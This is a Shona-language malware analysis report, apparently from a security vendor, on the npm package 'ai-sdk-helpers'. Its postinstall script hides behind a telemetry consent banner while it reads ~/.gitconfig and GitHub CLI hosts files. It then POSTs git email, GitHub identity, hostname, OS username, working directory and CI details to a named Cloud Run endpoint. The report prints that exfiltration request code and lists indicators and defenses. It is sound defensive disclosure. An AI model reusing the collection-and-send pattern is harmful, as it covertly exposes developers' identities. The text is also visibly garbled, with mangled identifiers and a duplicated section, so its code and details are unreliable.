TL; DR
Pakeji imwe chete ye npm, vabatsiri veai-sdk, inozviratidza sechishandiso chekugadzira cheVercel AI SDK, ichipa nzira dzekutevera mitengo, nzira dzekubatsira vanopa ruzivo, uye nzira dzekubatsira vanoteerera.
Chinyorwa chayo chenguva yekuisa chinotanga nebhana rekuburitsa pachena rakakwenenzverwa rinotsanangura kuongororwa kwezvisingazivikanwe, vachivimbisa kuti hapana kodhi yemashoko, ma tokeni, kana zvitupa zvinotumirwa, zvichiremekedza DO_NOT_TRACK kusarudza kusaita, uye kubatanidza kune peji remitemo ye telemetry.
Chinyorwa chimwe chete ichocho chinozoverenga git identity yemugadziri, GitHub CLI configuration, machine hostname, OS username, working directory, uye CI provider.
Ruzivo irworwo rwunotumirwa seJSON kuenda kuGoogle Cloud Run endpoint, zvichigadzira kusawirirana kuri pachena pakati pemutemo we telemetry wakataurwa neminda chaiyo yakaunganidzwa.
Pakeji iyi yakaburitswa mushanduro makumi maviri nemaviri mukati mekuputika kwemasekondi makumi masere nematatu, uye script yekuisa yakafanana nebyte-for-byte pane ese mavhezheni ane mucherechedzo.
Mavhezheni manomwe pamasere akaongororwa nekambani yedu pipeline Zvakaonekwa zvisina kujeka neML classifier nekuti magadzirirwo e consent-banner anotaridzika se official telemetry.
Tinoisa muzvikamu ai-sdk-helpers seyakaipa zvichibva pakuunganidzwa kweruzivo rwemugadziri wepurogiramu panguva yekuisa uye kuburitswa kwayo.
Kuoma: kwakakwirira.
Anatomy yekuisa
{ "scripts": { "postinstall": "node scripts/postinstall.js" } } postinstall inomhanya yoga npm install, kodhi yakashambadzirwa yepakeji isati yapinzwa. Chinyorwa chacho zvinyorwa/postinstall.js ndipo panogara maitiro ese enguva yekuisa.
Inovhura nebhokisi remashoko uye chiziviso chenguva yekumhanya chakanyorwa murejista yepurojekiti ye open-source inoona nezvekuchengetedzwa kweruzivo:
>Paunoisa maai-sdk-helpers, tinomhanya nekukurumidza kuongorora nharaunda uye tinoshuma kuongororwa kwevanhu vasingazivikanwe… Ruzivo urwu haruzivikanwe zvachose — tinounganidza puratifomu yako, Node version, uye imwe chete nzira yekuziva muchina wako. Hapana kodhi yesource, tokens, kana ma certificates anombotumirwa.
Inotobatanidza suo rekuti "opt-out" rinoshanda, kodhi yekutanga inogoneka mufaira:
if ( process.env.AI_SDK_HELPERS_TELEMETRY_DISABLED === "1" || process.env.DO_NOT_TRACK === "1" ) { process.exit(0); } Kuisa gedhi iri pakutanga ndiko kunoita kuti zvimwe zvese zviverengerwe sezviri kubvumirana: mugadziri wezvirongwa anoisa `D_HAKUNA_KUTAMBIRA` Kana kuiswa kwacho kwapera chinyararire, zvinoguma zvaita kuti pasuru iyi iremekedze gungano racho. Kusarudzwa kwekusarudzwa kwakakosha ndekwechokwadi. Zvainoita, kune wese asingaise, muunganidzwa unotsanangurwa pazasi - kwete "puratifomu yakamanikana, Node version, uye imwe chete-way hash" mazita ezviziviso.
Pasi pegedhi iroro, chinyorwa chinounganidza mutoro unopfuura tsananguro iyoyo.
- *Gkuzivikanwa.* rgadziraScmKuzivikanwa()` eads `~.gitconfig`,`~.config/git/config`,uye chirongwa chiripo parizvino.iyo/config`,inoongorora `[ser]` chikamu, uye chinodzosera configured commit email. Kana pasina faira rekugadzirisa rinopa email, rinodzokera ku `GT_AUTHOR_EMAIL`,`GT_COMMITTER_EMAIL`,uye `EAIL` nvironment variables. Docstring iri pamusoro pebasa inoisa read muchimiro che "kuparadzanisa ma installs pamichina yemunhu mumwe chete (semuenzaniso laptop + CI)" - chinangwa chakataurwa chinoda chiziviso chakasimba chemugadziri wega wega, icho commit zvinhu zvekutumira email.
- *Gaccount yetHub.* rsolveGitHubIdentity()` eads `~.config/gh/hosts.yml` uye `~.config/gh/hosts.yaml` faira rekugadzirisa rakanyorwa neGitHub CLI kana mugadziri asimbisa - uye regex-inobvisa `uer:` uye `eail:` fields. Faira iroro rinochengetawo GitHub OAuth token; regex yescript inotarisa zita remushandisi nemaemail line zvakananga uye haiburitse token. Saka chirevo che "no token... dzinombotumirwa" che "disclosure banner" ndechechokwadi kune iyo imwe nzvimbo nepo ma account identifiers ari pedyo achiverengwa uye achitumirwa.
- *Hst uye CI fingerprint.* chinyorwa chacho chinozounganidza `o.hostname()`,`o.userInfo().zita remushandisi`,vhezheni yeNode, chikuva uye magadzirirwo, `pocess.cwd()`,uye label yeCI-provider yakagadziriswa nekutarisa nharaunda yevanopa vasere (GitHub Actions, GitLab CI, Jenkins, CircleCI, Travis, Buildkite, uye maviri generic-CI flags). Rondedzero yevanopa inoverengwa senhamba yekuti script inotarisira kuita kupi - ma shells anopindirana uye kuvaka otomatiki. pipelinezvakafanana.
Zvese izvi zvakakamurwa kuita `d imwe chetevanhu vasingazive Mwari bject, neminda yemugadziri wega wega yakaunganidzwa pasi pe `ichinhu` ey nedata remugamuchiri pasi pe`rnguva` nd `cntext` eys, yobva yarongwa seri uye yotumirwa:
const req = https.request( { hostname: "npm-package-logger-228835561205.europe-west1.run.app", path: "/", method: "POST", headers: { "Content-Type": "application/json" }, timeout: 5000, }, () => {} ); req.on("error", () => {}); req.write(body); req.end(); Mhinduro yacho inoraswa uye zvikanganiso zvese zvinotorwa — chirevo chinotaura kuti "telemetry haifanirwe kumbokanganisa kuiswa." Endpoint hostname inovhara sevhisi yeGoogle Cloud Run mu `etambo-kumadokero1` dunhu.
Musiyano ndiwo nyaya yacho. Banner inodudza mapoka matatu edata — puratifomu, Node version, machine-identifier hash. Mutoro wepayload unotumira git chaiyo yemugadziri. commit email, zita ravo rekushandisa reGitHub neemail, zita ravo remuchina uye zita reakaundi yeOS, nzira yavo yepurojekiti, uye CI environment yavo. Minda inoratidza *prson nemaakaundi avo* ndizvo chaizvo zviri muminda yasara pachena.
README inosimbisa frame kubva kune rimwe divi. Chikamu chayo che "Telemetry" chinodzokorora chirevo chekusazivikanwa uye chinobatanidza izwi rekuti `D_HAKUNA_KUTAMBIRA` o`cnsoledonotrack.com`,peji renharaunda chaiyo rinoratidza tsika yekusabuda — kukwereta ruzivo rwekuchengetedza ruzivo rwunozivikanwa standard kuti chiziviso chiverengwe sechinoitika nguva dzose.
Nemakore
Iyi inyaya imwe chete ine nhoroondo pfupi uye yakazadzwa nekuburitswa kwemashoko. Hapana nzira yekutevera mafambiro ebasa kwemavhiki akawanda - shanduro yese yakafambiswa nekumhanya kwemuchina.
| Nguva (UTC) | chiitiko |
|---|---|
| 2026-06-03 20:31:20 | Shanduro yekutanga (0.1.0) yakaburitswa kuna npm. |
| 2026-06-03 20:31:20 – 20:32:43 | Mavhezheni ese makumi maviri nembiri (0.1.0 kuburikidza 1.4.2) yakaburitswa mukuputika otomatiki kwemasekonzi makumi masere nematatu. |
| 2026-06-04 | Mavhezheni masere akaratidzwa nezviratidzo zvekuona; ongororo nemaoko inosimbisa kuunganidzwa kwehunhu hwekushandisa uye kubuda kwedata. Pakeji yakaramba iripo musi waNpm panguva yekuongorora. |
Hwindo remasekonzi makumi masere nematatu mushanduro makumi maviri nembiri dzematauriro pacharo chiratidzo chemaitiro: danho reshanduro (`01.0`,`01.1`,... `14.2`)inoratidza pamusoro pepurojekiti inochengetwa zviri pamutemo ine nhoroondo yekuburitswa, yakagadzirwa kamwe chete. Chinyorwa chekuisa hachichinji pane rimwe danho — ona pazasi.
Zviratidzo zvekubvumirana
Mutoro wepayload panguva yekuisa wakafanana mumhando dzese dzeshanduro dzakaburitswa.ff` f`sripts/postinstall.js` pakati pevhezheni `02.1` nd shanduro `14.2` Hazvidzore mutsauko; maitiro acho chigunwe chimwe chete chakasimbiswa, kwete mutoro unochinja.
Network
Hwindo remasekonzi makumi masere nematatu mushanduro makumi maviri nembiri dzematauriro pacharo chiratidzo chemaitiro: danho reshanduro (`01.0`,`01.1`,... `14.2`)inoratidza pamusoro pepurojekiti inochengetwa zviri pamutemo ine nhoroondo yekuburitswa, yakagadzirwa kamwe chete. Chinyorwa chekuisa hachichinji pane rimwe danho — ona pazasi.
Zviratidzo zvekubvumirana
Mutoro wepayload panguva yekuisa wakafanana mumhando dzese dzeshanduro dzakaburitswa.ff` f`sripts/postinstall.js` pakati pevhezheni `02.1` nd shanduro `14.2` Hazvidzore mutsauko; maitiro acho chigunwe chimwe chete chakasimbiswa, kwete mutoro unochinja.
Network
| Chiratidzo | basa |
|---|---|
npm-package-logger-228835561205.europe-west1.run.app | Nzvimbo yekubuda muchivande inogamuchira zvikumbiro zveHTTPS POST neJSON payloads. Inogarwa paGoogle Cloud Run mu europe-west1 nzvimbo. |
Zvivakwa zveDecoy
| Chiratidzo | basa |
|---|---|
ai-sdk.guide | Peji rekutanga repakeji uye webhusaiti yepamhepo inotsigira hunhu hwemunyori we "AI SDK Guide". |
ai-sdk.guide/telemetry | URL yemutemo weTelemetry inonongedzerwa muchiziviso chekuburitsa pachena nguva yekuisa. |
hello@ai-sdk.guide | Email yemunyori yakaziviswa mu package.json. |
github.com/ai-sdk-guide/ai-sdk-helpers | Nzvimbo yekuchengetera zvinhu yakaziviswa nepakeji. |
Mafaira akaverengwa panguva yekuisa
- -.gitconfig`,`~.config/git/config`,`<wd>/.git/config` git `[ser]` tsamba
- - .config/gh/hosts.yml`,`~.config/gh/hosts.yaml` GitHub CLI `uer` `eail`
Siginecha dzemaitiro
- – m`pstinstall` ook ichidana bundled Node script
- - gedhi rekubuda (`A_SDK_HELPERS_TELEMETRY_YAKADAMBWA`,`D_NOT_TRACK`)yakaratidzwa sechinhu chekuchengetedza ruzivo rwepachivande, pamberi pekuunganidza humbowo
- - tbound HTTPS POST yechinhu cheJSON chine git email, GitHub identity, hostname, OS username, cwd, uye CI label
- - te-identical install script padanho reshanduro rinoburitswa nekukurumidza
Hunhu & Maitiro Akacherechedzwa
Hatina chimwe chinhu kunze kwezvakanyorwa papakeji uye registry metadata.
Muchengeti wezvinyorwa zve npm ndiye account `aielsimon`,nekero `aiel@vigilance.security`.Registry inoratidza kuti email iyoyo haina kusimbiswa uye kuti account yacho haina kusimbiswa here kana kuti kwete.ckage.json`,zvakasiyana, inoratidza munyori se "AI SDK Guide"ello@ai-sdk.guide>`”nepeji rekutanga re `a-sdk.gwara` nd nzvimbo yekuchengetedza manyuko pasi pe `gthub.com/ai-sdk-guide` sangano. Nzvimbo yeemail yeakaundi yekudhinda (`vigilance.security`)uye hunhu hwemunyori ari mupakeji (`a-sdk.gwara`)inzvimbo dzakasiyana.
Iyo `a-sdk.gwara` chinhu chiri mhenyu uye chinopindura, uye `/elemetry` ath resolves — hunhu hwe decoy hunotsigirwa ne web presence inowanikwa panzvimbo pe dead link, izvo zvinoita kuti pasuru yacho ive yechokwadi.
**Kugona kwakaonekwa.** Panguva yekuisa, package inoverenga ma developer identity uye account-configuration files, inoisa zvigunwe kune host uye CI environment, uye inotumira mhedzisiro kune operator-controlled endpoint, uku ichiratidza chiziviso chinotsanangura data rakatetepa uye risingazivikanwe. Tinotsanangura maitiro aya; hatisi kutaura chikonzero chayo. Vaverengi vanoongorora package - kusanganisira chero bato rinoziva mabudisirwo e data - vanofanira kuyera kusawirirana kunoonekwa pakati pe data rakataurwa nerechokwadi.
Mhedzisiro, mafambiro, uye gwara kune vadziviriri
Ndiani afumurwa. Chero ani zvake anoisa vabatsiri veai-sdk — zvakananga kana se transitive dependency — inomhanyisa muunganidzwa pamuchina iwoyo. Nekuti trigger ndiyo postinstall, kodhi yeraibhurari yakashambadzirwa haifanirwe kupinzwa kuti data rifambe; kuiswa kwega kwakakwana. Nzvimbo dzinonyanya kukosha idzo nzvimbo dzebasa dzevagadziri dzine git identity yakagadziriswa uye GitHub CLI yakatenderwa, uye CI runners, uko kuona kweCI-provider yescript kunoratidza kuti muunganidzwa wacho unotarisirwa kushanda mukati mekuvaka. pipelinepamwe chete nemalaptop.
Zvazvinofumura. Hazvisi zvakavanzika zvekushandisa mune zvakajairika — mutoro unonyanya kutaurwa kuzivikanzwa zvauri: yemugadziri commit email, zita ravo reGitHub account uye email, machine nemazita eakaundi, uye nzira yeprojekiti. Ndiyo precisMepu yemunhu akaisa pakeji, pamuchina upi, mune repository ipi, uye pasi peiyo CI system. Kune sangano, zvinyorwa zvishomanana zvakadaro zvakatorwa pamwe chete zvaizoratidza kuti mainjiniya api uye ndeapi masisitimu ekuvaka akaunza kuvimba - zvinobatsira senzira yekutanga kune zvakanyanya kunangwa chiitiko chekutevera, kunyangwe maitiro epakeji iyi pachawo achigumira pakuunganidza nekutumira.
Mafambiro acho: telemetry sechifukidziro. Zvishandiso zvevagadziri vepamutemo zvinounganidza kuongororwa kwekuisa kusingazivikanwe, uye tsika dzekuzviita neruremekedzo - chiziviso chekuburitsa pachena, a USATONGORORA rukudzo, mureza wekusarudza kusabuda, URL yemutemo — zvinozivikanwa zvikuru. vabatsiri veai-sdk inodzokororazve mitemo yese mina iyoyo uye inoishandisa sechivharo chekuunganidza humbowo. Kuvapo kwebhana remvumo, opt-out inoshanda, kana link yemutemo wekuchengetedza ruzivo rwepachivande hachisi humbowo hwekuti pasuru yacho yakavimbika; zvidzoreso izvozvo hazvidhuri kutevedzera. Cheki chete yakavimbika ndeyekuti kodhi yacho inoverenga chii chaizvo uye kuti inoitumira kupi chaizvo.
Kurongedza uku kunewo mhedzisiro inoyerwa pakugadzirisa otomatiki. Mumavhezheni edu ese, pipeline yakaongororwa, mashoko emutauro wakajeka we install script, mazita emunda akarongeka, uye gedhi rekusarudza kubuda rakajairika rakaonekwa se telemetry yakajairika: vanomwe pavasere vakadzoka kusinganzwisisiki kubva muML classifier kwete kubva kune yakaipa. Chiratidzo chinogadzirisa kusanzwisisika hachisi muprose - chiri mumafaira chaiwo ayo script inovhura (~ / .gitconfig, ~/.config/gh/hosts.yml) uye kwainotumira. Muongorori, angave ari ega kana kuti munhu, anoverenga zvakaburitswa obva amira ipapo achasvika pamhedziso isiriyo; chisarudzo chinofanira kubva muchokwadi chekufamba kwedata.
Gwaro rekudzivirira:
- Isa nemagwaro akadzimwa nemaitiro chaiwo — npm install –ignore-scripts, kana kuti seti nyora-dzisingateereri = chokwadi in .npmrc uye mhanya matanho ekuvaka akaongororwa zvakajeka. Izvi zvinodzima mashandiro postinstall-kuunganidzwa kwezvinhu zvakasiyana-siyana.
- Usatore zvinhu zvinodzora kubuda sezviratidzo zvekuvimba. USATONGORORA cheki kana link ye "telemetry policy" haitauri chinhu nezve data rinounganidzwa nescript kana gedhi risina kuiswa.
- Verenga hoko yekuisa usati washandisa mapakeji ekubatsira eAI-ecosystem. Nzvimbo yeVercel AI SDK inzvimbo inokurumidza kufamba uye ine chivimbo chakawanda; postinstall zvinobata ~ / .gitconfig or ~/.config/gh/ chiratidzo chakajeka pasinei nekuti mashoko ari pedyo akanyorwa sei.
- Tarisa kubuda kwenguva yekuvaka. HTTPS POST inobuda panguva npm install, kunyanya kune cloud-function endpoint ichangobva kugadziriswa, inoonekwa pa network layer uye inzvimbo yakasimba yekuona CI environments.
- Tarisa mamanera emhando yakamanikidzwa. Pakeji ine nhoroondo yese yeshanduro yemutauro inoonekwa mukati memasekonzi, ine script yekuisa isingachinji, iri kuratidza nhoroondo yekugadzirisa yakagadzirwa.





